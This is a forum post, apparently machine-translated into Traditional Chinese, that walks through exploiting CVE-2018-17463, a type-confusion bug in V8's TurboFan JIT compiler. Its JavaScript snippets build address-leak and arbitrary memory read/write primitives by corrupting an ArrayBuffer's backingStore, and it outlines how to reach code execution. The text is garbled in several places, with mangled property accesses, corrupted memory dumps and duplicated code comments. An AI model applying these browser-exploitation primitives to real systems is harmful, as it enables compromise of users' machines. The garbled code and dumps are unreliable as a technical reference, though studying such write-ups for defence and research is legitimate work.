JavaScript-JIT引擎邏輯漏洞利用

twhackteam

Administrator
站方人員

介紹​

本文將介紹just-in-time(JIT)在CVE-2018-17463範例中發現的編譯器漏洞
透過原始碼審計,作為hack2win競賽的一部分使用2018年9月。該漏洞隨後被谷歌用提交52a9e67a477bdb67ca893c25c145ef5191976220 “[turbofan]修正ObjectCreate的註釋” 和修復10月16日,隨著Chrome 70的發布,公眾開始關注。
本文中的原始程式碼片段也可以在線上查看原始程式碼儲存庫以及程式碼搜尋。利用已測試chrome版本69.0.3497.81(64位元),對應v8版本6.9.427.19。

v8概述​

V8是Google的開源JavaScript引擎,用於支援其他基於chromium的網頁瀏覽器。它是用c++寫的,而且很常用執行不受信任的JavaScript程式碼。就其本身而言,這是一件有趣的軟體攻擊方式。
V8提供了大量的文檔,包括原始碼和線上文檔。此外,v8有多個特性來促進探索其內部工作:
  1. 許多內建函數可以從JavaScript中使用,啟用透過d8的–enable-native-syntax flag(v8的JavaScript shell)。例如,允許使用者透過以下方式檢查物件%DebugPrint,用%CollectGarbage觸發垃圾回收,或透過%OptimizeFunctionOnNextCall強制JIT編譯一個函式。
  2. 各種追蹤模式,也可以透過命令列flag啟用將大量引擎內部事件記錄到stdout或日誌中檔案。有了這些,就有可能追蹤在JIT編譯器中傳遞不同的最佳化的行為。
  3. 工具/子目錄中的其他工具,例如視覺化工具叫做渦輪增壓器的JIT IR。

Values​

由於JavaScript是一種動態類型語言,引擎儲存類型必須包含每個執行時間值的資訊。在v8中,這是透過指標標記和專用類型資訊的使用的組合物件,稱為maps。
v8中不同的JavaScript值型別都列在src/objects.h中,下面是摘錄。
1
2
3
4
5
6
7
8
9
10
11
// Inheritance hierarchy:
// - Object
// - Smi (immediate small integer )
// - HeapObject (superclass for everything allocated in the heap)
// - JSReceiver (suitable for property access)
// - JSObject
// - Name
/ / - String
// - HeapNumber
// - Map
// ...

然後JavaScript值被表示為一個靜態類型的指標標記物件。在64位元架構上,使用下列標籤方案:
1
2
Smi: [32 bit signed int] [31 bits unused] 0
HeapObject: [64 bit direct pointer] | 01

因此,指標標記區分了Smis和HeapObjects。所有的類型資訊然後進一步儲存在映射實例中,在每個堆物件中都可以找到偏移量為0的指標。
使用這個指標標記方案,在Smis上進行算術或二進位操作通常可以忽略標籤,因為較低的32位元都是0。然而,解除HeapObject的引用需要屏蔽掉最低有效位元(LSB)。因此,所有物件都存取HeapObject的資料成員必須透過處理清除LSB的特殊存取器。在事實上,v8中的物件沒有任何c++資料成員,可以存取這些物件由於指標標記,這是不可能的。相反,引擎儲存資料透過上述存取器在物件中預先定義的偏移量處成員功能。實質上,v8定義了物件在記憶體中的佈局而不是將其委託給編譯器。

Maps​

Map是v8中的關鍵資料結構,包含諸如
  • 物件的動態類型,即String, Uint8Array, HeapNumber…
  • 物件的大小(以位元組為單位)
  • 物件的屬性及其儲存位置
  • 數組元素的類型,例如未裝箱的雙精度浮點數或標記指針
  • 物件的原型(如有)
雖然屬性名稱通常儲存在映射中,但屬性值與物件本身一起儲存在幾個可能的區域之一。然後,Map提供屬性值在各自的地區。
一般來說,在三個不同的區域,屬性值可以發揮作用存儲: 在物件本身內(“內聯屬性”),在一個單獨的,動態大小的堆緩衝區(“外行屬性”),或者,如果屬性名稱是整數索引,則作為陣列元素在動態大小堆數組。在前兩種情況下,映射將儲存屬性值的槽號,而在最後一種情況下是槽號number是元素索引。這可以在下面的例子中看到:
1
2
let o1 = {a: 42, b: 43};
let o2 = {a: 1337, b: 1338};

執行後,記憶體中會有兩個JSObjects和一個Map:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
+----------------+
| |
| map1 |
| |
| property: slot |
| .a : 0 |
| .b : 1 |
| |
+----- -----------+
^ ^
+--------------+ | |
| +------+ |
| o1 | +---- ----------+
| | | |
| slot : value | | o2 |
| 0 : 42 | | |
| 1 : 43 | | slot : value |
+--------------+ | 0 : 1337 |
| 1 : 1338 |
+--------------+

就記憶體使用而言,映射是相對昂貴的對象,它們確實是盡可能在「相似」對象之間共享。這可以從在前面的範例中,o1和o2共享同一個Map map1。然而,如果第三個屬性.c(例如值為1339)被加到o1中,那麼map不再可以共享,因為o1和o2現在有不同的屬性。因此,為o1建立一個新的Map:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+----------------+ +----------------+
| | | |
| map1 | | map2 |
| | | |
| property: slot | | property: slot |
| .a : 0 | | .a : 0 |
| .b : 1 | | .b : 1 |
| | | .c : 2 |
+------- ---------+ +----------------+
^ ^
| |
|
+--------------+ +--------------+
| | | |
| o2 | | o1 |
| | | |
| slot : value | | slot : value |
| 0 : 1337 | | 0 : 1337 |
| 1 : 1338 | | 1 : 1338 |
+---------- ----+ | 2 : 1339 |
+--------------+

如果稍後同樣的屬性.c也被加入到o2中,那麼兩個物件將再次共用map2。有效工作的方法是在每個映射中追蹤一個物件應該轉換到哪個新映射,如果新增了一個特定名稱(可能是類型)的屬性。這種資料結構通常稱為轉換表。
然而,V8也能夠將屬性儲存為哈希映射,而不是使用映射和槽機制,在這種情況下,屬性名稱直接映射到值。當引擎認為映射機制會導致額外的開銷時,就會使用這種方法,例如在單例物件的情況下。
映射機制對於垃圾收集也是必不可少的: 當收集器處理一個分配(一個HeapObject)時,它可以立即檢索諸如物件大小和物件是否包含任何其他需要透過檢查映射來掃描的標記指標等資訊。

對象摘要​

考慮下面的程式碼片段
1
2
3
4
5
6
7
let obj = {
x: 0x41,
y: 0x42
};
obj.z = 0x43;
obj[0] = 0x1337;
obj[1] = 0x1338;

在v8中執行後,檢查物件的記憶體位址如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
(lldb) x/5gx 0x23ad7c58e0e8
0x23ad7c58e0e8: 0x000023adbcd8c751 0x000023ad7c58e201
0x23ad7c58e0f8: 0x7c58e201 0x23ad7c58e0f8: 0x00c 0x0000004100000000
0x23ad7c58e108: 0x0000004200000000

(lldb) x/3gx 0x23ad7c58e200
0x23ad7c58e200: 0x000023ada038f9 0x0000000300000000
0x23ad7c58e210: 00300000030fbx

(lldb) x/6gx 0x23ad7c58e228
0x23ad7c58e228: 0x000023ada028b9 0x0000001100000000
0x23ad7c58e238: 000 0x0000133800000000
0x23ad7c58e248: 0x000023adafb02691 0x000023adafb02691

第一個是物件本身,它由指向其映射的指標組成(0x23adbcd8c751),指向其行外屬性的指標(0x23ad7c58e201),指向其元素的指標(0x23ad7c58e229)和兩個內聯屬性(x和y)。檢查超行屬性指標顯示另一個以Map開頭的物件(這表示這是一個然後是大小和屬性z。元素數組同樣以指向映射的指標開始,然後是容量,最後是容量由索引為0和1的兩個元素和索引為9的兩個元素設定魔術值「the_hole」(指示後備記憶體已經過度使用)。對象,則它們將重複使用現有的maps。

JavaScript即時編譯的介紹​

現代的JavaScript引擎通常使用一個解譯器和一個或多個多種即時編譯器。作為一個程式碼單元執行得更多通常,它被移動到能夠更快執行的更高層程式碼,儘管它們的啟動時間通常也更高。
下一節的目的是給一個直覺的介紹,而不是一個對動態語言JIT編譯器的正式解釋,例如JavaScript設法從腳本產生優化的機器碼。

投機即時編譯​

考慮以下兩個程式碼片段。怎麼可能每一個都是編譯成機器碼?
1
2
3
4
5
6
7
8
9
// C++
int add(int a, int b) { return a + b; }



// JavaScript
function add(a, b) { return a + b; }



對於第一個程式碼片段,答案似乎相當清楚。畢竟,參數的類型以及指定暫存器的ABI類型用於參數和返回值,已知。此外,指令目標機器的集合是可用的。因此,編譯到機器碼可能產生以下x86_64程式碼:
1
2
lea eax, [rdi + rsi]
ret

然而,對於JavaScript程式碼,類型資訊是未知的。因此,似乎不可能生產出比一般的add更好的東西操作處理程序,它只能提供微不足道的性能加強解釋器。結果是,處理遺失的類型資訊是編譯動態語言機器碼需要克服的關鍵挑戰。這也可以透過想像一個假設來證明使用靜態型別的JavaScript,例如:
1
2
3
function add(a: Smi, b: Smi) -> Smi { return a + b; }



在這種情況下,產生機器碼也很容易:
1
2
3
lea rax, [rdi+rsi]
jo bailout_integer_overflow
ret

這是可能的,因為由於指針標記模式,Smi的較低32位元都是0。這個彙編程式碼看起來非常類似c++範例,除了額外的溢位檢查,這是必要的,因為JavaScript不知道整數溢位(在規格中,所有數字都是IEEE 754雙精確度浮點數),但cpu肯定知道。因此,在不太可能發生的整數溢位事件中,引擎將不得不將執行轉移到一個不同的、更通用的執行層,例如解釋器。在這種情況下,它會重複失敗的操作,並在將兩個輸入相加之前將它們轉換為浮點數。這種機制通常被稱為緊急救助,對於JIT編譯器來說是必不可少的,因為它允許編譯器產生專門的程式碼,在發生意外情況時,這些程式碼總是可以退回到更通用的程式碼。
不幸的是,對於普通的JavaScript, JIT編譯器不能使用靜態型別資訊。然而,由於JIT編譯只發生在較低的一層(如解釋器)的幾次執行之後,因此JIT編譯器可以使用先前執行的類型資訊。這反過來又使投機性優化成為可能: 編譯器將假定一個代碼單元將來將以類似的方式使用,因此會看到相同的類型,例如參數。然後,它可以產生如上所示的最佳化程式碼,假設這些類型將在將來使用。

投機Guards​

當然,不能保證代碼單元總是以類似的方式使用。因此,在執行最佳化的程式碼之前,編譯器必須驗證其所有類型推測在運行時仍然有效。這是透過以下討論的許多輕量級運行時檢查來實現的。
透過檢查來自先前執行的反饋和當前引擎狀態,JIT編譯器首先制定了各種推測,例如“這個值永遠是一個Smi”,或者“這個值永遠是一個具有特定映射的對象”,甚至“這個Smi的添加永遠不會導致整數溢出」。然後,使用一小段機器碼(稱為投機Guards)驗證這些猜測在運行時仍然有效。如果Guards失敗,它將對較低的執行層(如解釋器)執行緊急救援。以下是兩種常用的投機Guards:
1
2
3
4
5
6
7
; Ensure is Smi
test rdi, 0x1
jnz bailout

; Ensure has expected Map
cmp QWORD PTR [rdi-0x1], 0x12345601
jne bailout

第一個保護是Smi保護,它透過檢查指標標記是否為0來驗證某個值是否為Smi。第二個保護是映射保護,它驗證HeapObject實際上是否擁有它期望擁有的映射。
使用推測保護,處理遺失的類型資訊變成:
  1. 在解釋器中執行時收集類型配置文件
  2. 推測同樣的類型將在未來被使用
  3. 用運轉時投機Guards來保護這些投機
  4. 然後,為前面看到的類型產生最佳化的程式碼
從本質上講,插入一個投機保護將向後面的程式碼添加一段靜態類型資訊。

Turbofan​

儘管使用者JavaScript程式碼的內部表示已經以字節碼的形式提供給解釋器,但JIT編譯器通常會將字節碼轉換為更適合執行各種最佳化的自訂中間表示(IR)。 Turbofan, v8中的JIT編譯器也不例外。 turbofan所使用的IR是基於圖的,由操作(節點)和它們之間不同類型的邊組成,即
  • 控制流側,連接控制流操作,如循環和if條件
  • 資料流側,連接輸入和輸出值
  • 效果流側,連接有效的操作,使它們被正確調度。例如: 考慮一個屬性的存儲,後面跟著一個相同屬性的載入。由於這兩個操作之間沒有資料或控制流依賴關係,因此需要effect-flow在載入之前正確調度儲存。
此外,turbofan IR支援三種不同類型的操作:
JavaScript操作、簡化操作和機器操作。機器操作通常類似於單一機器指令,而JS操作類似於通用的字節碼指令。簡化操作介於兩者之間。因此,機器操作可以直接轉換為機器指令,而其他兩種類型的操作需要進一步的轉換步驟到更低級別的操作(稱為降低的過程)。例如,一般的屬性載入操作可以降低為CheckHeapObject和CheckMaps操作,然後從物件的內聯槽進行8位元組的載入。
研究JIT編譯器在各種場景中的行為的一種舒適的方式是透過v8的turbolizer工具: 一個小型web應用程序,它使用–trace-turbo命令行flag產生輸出,並將其呈現為一個交互式介面.

編譯器管道​

根據前面所描述的機制,一個典型的JavaScript JIT編譯器管道大致如下:
  1. 圖建構和專門化: 使用解釋器中的字節碼和運行時類型配置文件,並構造表示相同計算的IR圖。檢查類型概要,並基於它們制定推測,例如,對於操作查看哪種類型的值。投機活動由投機guards把守著。
  2. 最佳化: 產生的圖,現在具有靜態類型來自guards的資訊被最佳化得非常像「經典」(AOT)編譯器。這裡,最佳化被定義為程式碼的轉換,它不必需有正確性,但可以提高程式碼的執行速度或記憶體佔用。典型的最佳化包括循環不變程式碼移動、常數折疊、轉義分析和內聯。
  3. 降低: 最後,產生的圖降低為機器碼,然後寫入可執行記憶體區域。從那時起,呼叫已編譯的函數將導致將執行轉移到產生的程式碼。
不過,這種結構相當靈活。例如,降低可能發生在多個階段,在這些階段之間有進一步的最佳化。此外,寄存器分配必須在某個時間點執行,然而,這在某種程度上也是一種最佳化。

一個JIT編譯範例​

本章以一個turbofan JIT編譯的函數範例結束:
1
2
3
function foo(o) { return ob; }



在解析過程中,函數首先被編譯為通用字節碼,可以使用d8的–print-bytecode flag檢查。輸出如下圖所示。
1
2
3
4
5
6
7
8
9
10
Parameter count 2
Frame size 0
12 E> 0 : a0 StackCheck
31 S> 1 : 28 02 00 00 LdaNamedProperty a0, [0], [0]
33 S> 5 : a4 Return
Constant pool (size = 1)
00x1452485:Fcrayx ] in OldSpace
- map: 0x1fbc6ec023c1 <Map>
- length: 1
0: 0x1fbc69c24301 <String[1]: b>

這個函數主要被編譯成兩個操作: LdaNamedProperty,它載入所提供參數的屬性.b,以及Return,它傳回所述屬性。函數開頭的StackCheck操作會在超出呼叫堆疊大小時拋出異常,以防止堆疊溢位。關於v8字節碼格式和解釋器的更多資訊可以在網路上找到。
為了觸發JIT編譯,這個函數必須被呼叫幾次:
1
2
3
4
5
6
7
8
9
for ( let i = 0; i < 100000; i++) {
foo({a: 42, b: 43});
}

/* 或在提供一些類型資訊後使用native: */
foo({a: 42, b: 43});
foo({a: 42, b: 43});
%OptimizeFunctionOnNextCall(foo);
foo({a : 42, b: 43});

這也將駐留在函數的回饋向量中,該函數將觀察到的輸入類型與字節碼操作關聯起來。在本例中,LdaNamedProperty的回饋向量條目將包含一個條目: 作為參數提供給函數的物件的對應。這個映射將表明屬性.b儲存在第二個內聯槽中。
一旦turbofan開始編譯,它將建立JavaScript程式碼的圖形表示。還將檢查反饋向量,並基於此推測函數將始終與特定映射的物件一起被呼叫。接下來,它用兩個運行時檢查來保護這些假設,如果假設是假的,這些檢查就交給解釋器,然後繼續為內聯屬性發出一個屬性載入。優化後的圖形最終將類似於下面所示的圖形。這裡只顯示了資料流的邊緣。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
+----------------+
| |
| Parameter[1] | |
|
+-------+--------+
| +-- -----------------+
| | |
+-------------------> CheckHeapObject |
| |
+--- -------+--------+
+------------+ |
| |
| CheckMap <------------ -----------+
| |
+-----+------+
| +------------------+
| | |
+-------------------> LoadField[+32] |
| |
+----------+------- +
+----------+ |
| | |
| Return <------------------------+
| |
+----------+

然後,這張圖將會降低到類似下面的機器碼。
1
2
3
4
5
6
7
8
9
10
11
; 確認o 不是一個Smi
test rdi, 0x1
jz bailout_not_object

; 確認o 有預期的Map
cmp QWORD PTR [rdi-0x1], 0xabcd1234
jne bailout_wrong_map

; 對已知map的物件執行操作
mov rax, [rdi+0x1f]
ret

如果用一個具有不同map的物件來呼叫函數,則第二個保護將失敗,導致解釋器的緊急處理(更準確地說,是字節碼的LdaNamedProperty運算),並可能丟棄已編譯的程式碼。最終,該函數將被重新編譯,以考慮新的類型回饋。在這種情況下,函數將被重新編譯以執行一個多態屬性載入(支援多個輸入類型),例如,透過為兩個映射發送屬性載入程式碼,然後根據目前映射跳到各自的一個。如果操作變得更加多態,編譯器可能會決定使用通用內聯快取(IC)來進行多型操作。 IC快取先前的查找,但是對於以前看不見的輸入類型,IC總是可以退回到運行時函數,而不需要退出JIT程式碼。

JIT編譯器的漏洞​

JavaScript JIT編譯器通常是用c++實現的,因此會受到一系列記憶體和類型安全違規的影響。這些並不是JIT編譯器特有的,因此不作進一步討論。相反,重點將放在編譯器中的bug上,這些bug會導致錯誤的機器碼生成,然後這些機器碼會被利用來造成記憶體損壞。
除了降低階段的bug(經常導致產生的機器碼中的整數溢位)之外,許多有趣的bug來自於各種最佳化。在邊界檢查消除、轉義分析、暫存器分配和其他方面都存在錯誤。每次優化過程都會產生自己的漏洞。
在審計JIT編譯器等複雜軟體時,提前確定特定的漏洞模式並尋找它們的實例通常是明智的方法。這也是手動程式碼審計的一個好處: 知道特定類型的錯誤通常會導致簡單、可靠的漏洞,這是審計人員可以專門尋找的。
因此,接下來將討論一種具體的最佳化,即冗餘消除,以及可以發現的漏洞類型,以及一個特定的漏洞,CVE-2018-17463,並伴隨著一個漏洞。

消除冗餘​

一種流行的最佳化類型旨在從發出的機器碼中刪除安全檢查,如果它們被認為是不必要的。可以想像,這些對審計人員來說是非常有趣的,因為其中的bug通常會導致某種類型的混亂或越界訪問。
這些優化通過的一個實例,通常稱為“冗餘消除”,旨在消除冗餘類型檢查。作為範例,考慮下面的程式碼:
1
2
3
function foo(o) { return oa + ob; }



按照第2章中概述的JIT編譯方法,可能會觸發以下IR程式碼:
1
2
3
4
5
6
7
8
9
10
11
檢查HeapObject o
CheckMap o, map1
r0 = Load [o + 0x18]

檢查HeapObject o
CheckMap o, map1
r1 = Load [o + 0x20]

r2 = Add r0, r1
CheckNoOverflow
Return r2

這裡的明顯問題是多餘的第二對CheckHeapObject和CheckMap操作。在這種情況下,o的映射顯然不能在兩個CheckMap操作之間改變。因此,冗餘消除的目標是檢測這些類型的冗餘檢查,並刪除除第一個在相同控制流程路徑上的所有檢查。
然而,某些操作可能會導致副作用: 可觀察對象改變了執行上下文。例如,呼叫使用者提供的函數的呼叫操作很容易導致物件的映射改變,例如透過新增或刪除屬性。在這種情況下,實際上需要一個看似多餘的檢查,因為映射可能在兩個檢查之間發生變化。因此,對於這種最佳化,編譯器了解其IR中所有有效的操作是至關重要的。不出所料,由於JavaScript語言的特性,正確預測JIT操作的副作用可能相當困難。因此,與不正確的副作用預測相關的錯誤時常會出現,通常是透過欺騙編譯器刪除看似冗餘的類型檢查,然後調用編譯後的程式碼,在不進行類型檢查的情況下使用意外類型的對象。隨之而來的是某種形式的類型混亂。
與不正確的副作用建模相關的漏洞通常可以透過定位引擎假定沒有副作用的IR操作來發現,然後驗證它們在所有情況下是否真的沒有副作用。 CVE-2018-17463就是這樣被發現的。

CVE-2018-17463​

在v8中,IR操作有各種與之相關的flag。其中一個kNoWrite指出,引擎假定某個操作不會產生可觀察到的副作用,它不會「寫入」效應鏈。 jcreateobject是這樣一個操作的範例,如下所示:
1
2
3
4
#define CACHED_OP_LIST(V) \
... \
V(CreateObject, Operator::kNoWrite, 1, 1) \
...

要確定IR操作是否有副作用,通常需要查看將進階操作(如jcreateobject)轉換為低階指令並最終轉換為機器指令的降低階段。對於jcreateobject,降低操作發生在js-generic-lowering.cc中,負責降低JS操作:
1
2
3
4
5
6
void JSGenericLowering::LowerJSCreateObject(Node* node) {
CallDescriptor::Flags flags = FrameStateFlagForCall(node);
Callable callable = Builtins::CallableFor( isolate(), Builtins::kCreateObjectWithoutProperties::CallableFor( isolate (
), Builtins::kCreateObjectWithoutProperties);



通俗地說,這意味著jcreateobject操作將降低為運行時函數CreateObjectWithoutProperties的呼叫。這個函數最終呼叫ObjectCreate,這是另一個內建函數,但這次是用c++實作的。最終,控制流在JSObject::OptimizeAsPrototype中結束。這很有趣,因為它似乎暗示了prototype物件可能在上述最佳化過程中被修改,這可能是JIT編譯器意想不到的副作用。下面的程式碼片段可以用來檢查OptimizeAsPrototype是否以某種方式修改了物件:
1
2
3
4
let o = {a: 42};
%DebugPrint(o);
Object.create(o);
%DebugPrint(o);

事實上,用“d8 –allow-native-syntax”運行它會顯示:
1
2
3
4
5
6
DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE]
- map: 0x0344c6f02571 <Map(HOLEY_ELEMENTS)> [FastProperties]
...

DebugPrint: 0x3447ab8f909: [JS_OBJECT_TYPE]
- map: 0x0344c6f0d6d1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]

可以看出,物件的映射在變成原型時發生了變化,所以物件一定也以某種方式發生了變化。特別是,當成為原型時,物件的越界屬性儲存被轉換為字典模式。因此,位於物件偏移量8處的指標將不再指向PropertyArray(所有屬性一個接一個,在短頭檔案之後),而是指向NameDictionary(一種更複雜的資料結構,直接將屬性名稱對應到值,而不依賴於映射)。這當然是JIT編譯器的副作用,在這個例子中是一個意外的副作用。 map改變的原因是在v8中,由於引擎其他部分的最佳化技巧,原型map永遠不會被分享。
現在是時候為bug建立第一個概念驗證了。在編譯後的函數中觸發observable錯誤行為的要求是:
  1. 該函數必須接收一個目前沒有作為原型使用的物件。
  2. 此函數需要執行CheckMap操作,以便消除後續的操作。
  3. 函數需要呼叫Object。使用物件作為參數來觸發映射轉換。
  4. 該函數需要存取一個out-of-line屬性。這將在稍後將不正確地消除的CheckMap之後,載入指向屬性儲存的指針,然後相信它指向PropertyArray,儘管它將指向NameDictionary。
下面的JavaScript程式碼片段實現了這一點
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function hax(o) {
// Force a CheckMaps node.
oa;

// Cause unexpected side-effects.
Object.create(o);

// Trigger type-confusion because CheckMaps node is removed. return ob; }



for ( let i = 0; i < 100000; i++) { let o = {a: 42}; ob = 43; // will be stored out-of-line. hax(o); }





它首先會被編譯成類似下面的偽IR程式碼:
1
2
3
4
5
6
7
8
9
10
11
12
檢查HeapObject o
CheckMap o, map1
Load [o + 0x18]

// Changes the Map of o
Call CreateObjectWithoutProperties, o

CheckMap o, map1
r1 = Load [o + 0x8] // Load pointer to out-of-line properties
r2 = Load [r1 + 0x10] // Load property value

Return r2

當這個JIT程式碼第一次運行時,它將傳回一個不同於43的值,即NameDictionary的內部字段,它恰好位於與PropertyArray中的.b屬性相同的偏移量上。
注意,在本例中,JIT編譯器試圖推斷的類型參數物件在第二個屬性負載,而不是依賴於類型的回饋,因此,假定map後不會改變第一型別檢查,生產屬性從FixedArray代替NameDictionary負載。

exploitation​

這個bug允許PropertyArray和NameDictionary混淆。有趣的是,NameDictionary仍然將屬性值儲存在(名稱、值、flag)三元組的動態大小內聯緩衝區中。因此,可能存在一對屬性P1和P2,使得P1和P2分別位於PropertyArray或NameDictionary開頭的偏移量O處。這很有趣,原因在下一節中解釋。下面顯示的是相同屬性的PropertyArray和NameDictionary的記憶體轉儲並排顯示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
let o = {inline: 42};
o.p0 = 0; o.p1 = 1; o.p2 = 2; o.p3 = 3; o.p4 = 4;
o.p5 = 5; o.p6 = 6 ; o.p7 = 7; o.p8 = 8; o.p9 = 9;

0x0000130c92483e89 0x0000130c92483bb1
0x0000000c00000000 0x0000006500000000
0x0000000000000
0x0000000100000000
0x0000000000000000 0x0000000200000000
0x0000002000000000 0x00000030000000000x
0x0000000400000000 0x0000000000000000
0x0000000500000000 0x0000130ce98a4341
0x0000000060000x
0x0000000700000000
0x00000000 0x0000130c924826f1
0x00000009000130c924826f1
0x0000000900001

在本例中,屬性p6和p2在轉換為字典模式後重疊。不幸的是,NameDictionary的佈局在引擎的每次執行中都是不同的,因為在雜湊機制中使用了一些進程範圍內的隨機性。因此,有必要在運行時首先找到這樣一對匹配的屬性。以下代碼可用於此目的。
1
2
3
4
5
6
7
8
9
function find_matching_pair(o) { let a = o.inline; this.Object.create(o); let p0 = o.p0; let p1 = o.p1; ...; return [p0, p1, ..., pN]; let pN = o.pN; }









然後,對傳回的陣列進行搜尋以尋找匹配項。如果這個漏洞不走運,沒有找到匹配的對(因為所有屬性都儲存在NameDictionaries內聯緩衝區的末尾),它可以檢測到這一點,並且可以簡單地重試不同數量的屬性或不同的屬性名稱。

構造型別混淆​

關於v8還有一點很重要的沒有討論。除了屬性值的位置之外,映射還儲存屬性的類型資訊。考慮下面這段程式碼:
1
2
3
let o = {}
oa = 1337;
ob = {x: 42};

在v8中執行後,o 的映射將表明屬性a將始終是一個Smi,而屬性.b將是一個具有特定映射的對象,該映射又將具有Smi類型的屬性.x。在這種情況下,編譯一個函數,例如
1
2
3
function foo(o) { return obx; }



將導致對o進行單一的Map檢查,但不會對.b屬性進行進一步的Map檢查,因為我們知道.b總是一個帶有特定Map的物件。如果透過指派不同類型的屬性值而使屬性的類型資訊失效,則會指派新的map,並且擴充該屬性的類型訊息,使其包含先前的類型和新類型。
這樣,就可以從手邊的bug建立一個強大的exploit原語: 透過找到匹配的屬性對,可以編譯JIT程式碼,它假設它將載入一種類型的屬性p1,但實際上載入的是另一種類型的屬性p2。由於類型資訊儲存在映射中,然而,省略屬性值的類型檢查,從而產生一種通用類型的困惑: 一個原始的,允許一個混淆一個X和一個Y類型的對象類型的對象,X和Y,以及將執行的操作類型X在JIT程式碼中,可以任意選擇。不出所料,這是一種非常強大的原始語言。
以下是建立這種類型混淆原語的腳手架程式碼。在這裡,p1和p2是兩個屬性的屬性名,在屬性儲存轉換為字典模式後,這兩個屬性重疊。由於它們事先並不已知,因此漏洞依賴eval在運行時產生正確的程式碼。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eval (` function vuln(o) { // Force a CheckMaps node let a = o.inline; // Trigger unexpected transition of property storage this.Object.create(o); // Seemingly load .p1 but really load .p2.create(o); // Seemingly load .p1 but really load .p2.create(o); // Seemingly load .p1 but really load .p2.create(o); // Seemingly load .p1 but really load .p2.create(o); // Seemingly load .p1 but really load .p2 let p = o. ${p1} ; // Use p (known to be of type X but really is of type Y) // ...; } `);












let arg = makeObj();
arg[p1] = objX;
arg[p2] = objY;
vuln(arg);

在JIT編譯函數中,編譯器將知道局部變數p的類型是X,這是由於o的映射,因此將省略對它的類型檢查。然而,由於這個漏洞,運行時程式碼實際上會接收到一個類型為Y的對象,從而導致類型混淆。

獲得記憶體讀取/寫入權限​

從這裡開始,將建構額外的exploit原語: 第一個原語洩漏JavaScript物件的位址,第二個原語覆蓋物件中的任意欄位。地址洩漏是可能的,因為在一段編譯後的程式碼中混淆了這兩個對象,該程式碼獲取.x屬性,一個未裝箱的雙值,將它轉換為v8的堆號,並將其返回給調用者。然而,由於這個漏洞,它實際上會載入一個指向物件的指針,並將其作為double類型返回。
1
2
3
4
5
6
7
8
9
10
function vuln(o) { let a = o.inline; this.Object.create(o); return o. ${p1} .x1; }





let arg = makeObj();
arg[p1] = {x: 13.37}; // X, inline property is an unboxed double
arg[p2] = {y: obj}; // Y, inline property is a pointer
vuln( arg);

這段程式碼將導致obj的位址以雙值形式傳回給呼叫者,例如1.9381218278403e-310。
接下來。通常情況下,「寫」原語只是「讀」原語的倒裝。在這種情況下,只需要寫入一個預期為未裝箱雙精度浮點數的屬性就足夠了,如下面所示。
1
2
3
4
5
6
7
8
9
10
11
12
function vuln(o) { let a = o.inline; this.Object.create(o); let orig = o. ${p1} .x2; o. ${p1} .x = ${newValue} ; return orig ; }







let arg = makeObj();
arg[p1] = {x: 13.37};
arg[p2] = {y: obj};
vuln(arg);

這將「破壞」第二個物件的.y屬性。然而,為了實現一些有用的功能,該漏洞可能需要破壞物件的內部字段,例如下面對ArrayBuffer所做的。請注意,第二個原語將讀取屬性的舊值並將其傳回給呼叫者。這使得有可能:
  • 一旦存在漏洞的程式碼第一次運行並損壞了受害者對象,立即檢測
  • 在稍後完全恢復損壞的對象,以確保流程的乾淨繼續。
有了這些原語,取得任意的記憶體讀寫就變得非常容易
  1. 建立兩個陣列緩衝區,ab1和ab2
  2. 洩漏ab2的地址
  3. 破壞ab1的backingStore指針指向ab2
產生以下情況:
1
2
3
4
5
6
7
8
9
10
+-----------------+ +-----------------+
| ArrayBuffer 1 | +---->| ArrayBuffer 2 |
| | | | |
| map | | | map | |
properties | | | properties |
| elements | | | elements |
| byteLength | | | byteLength |
| backingStore --+-----+ | backingStore |
| flags | | flags |
+-----------------+ +-----------------+

然後,可以透過向ab1寫入ab2,然後從ab2讀取或寫入ab2,覆蓋ab2的backingStore指標來存取任意位址。

反射​

如上所示,透過濫用v8中的類型推斷系統,可以擴展最初有限的類型混淆原語,以實現對JIT程式碼中任意物件的混淆。這個原語強大的原因有幾個:
  1. 事實上,使用者能夠建立自訂類型,例如透過向物件添加屬性。這就避免了找到一個好的類型混淆候選對象的需要,因為人們很可能只需要創建它,例如,當它混淆了ArrayBuffer和一個具有內聯屬性的對象,從而破壞backingStore指針時,就會出現這種情況。
  2. JIT可以編譯對X類型的物件執行任意操作的程式碼,但在執行時因漏洞而接收到Y類型的物件。利用未裝箱雙屬性的編譯載入和存儲,分別實現地址洩漏和arraybuffer的破壞。
  3. 事實上,類型資訊被引擎積極地跟踪,增加了可能相互混淆的類型的數量。
因此,如果低階原語不足以實現可靠的記憶體讀寫,那麼最好先從低階原語建構所討論的原語。很可能大多數類型檢查消除錯誤都可以轉換成這個原語。此外,其他類型的漏洞也可能被利用來產生它。可能的例子包括暫存器分配錯誤,使用後釋放,或越界地讀取或寫入JavaScript物件的屬性緩衝區。

獲得程式碼執行​

雖然以前攻擊者可以簡單地將shellcode寫入JIT區域並執行它,但現在事情變得稍微更耗時了: 在2018年初,v8引入了一個稱為write-protect-code-memory的特性,它本質上是將JIT區域的存取權限在RX和RW-之間切換。這樣,在執行JavaScript程式碼時,JIT區域將被映射為RX,從而防止攻擊者直接寫入它。因此,現在需要找到另一種方式來執行程式碼,例如簡單地透過重寫虛擬函數表、JIT函數指標、堆疊或透過自己選擇的另一種方法來執行ROP。
之後,唯一要做的就是運行沙箱逃逸… :)

exploit code​

 
返回
上方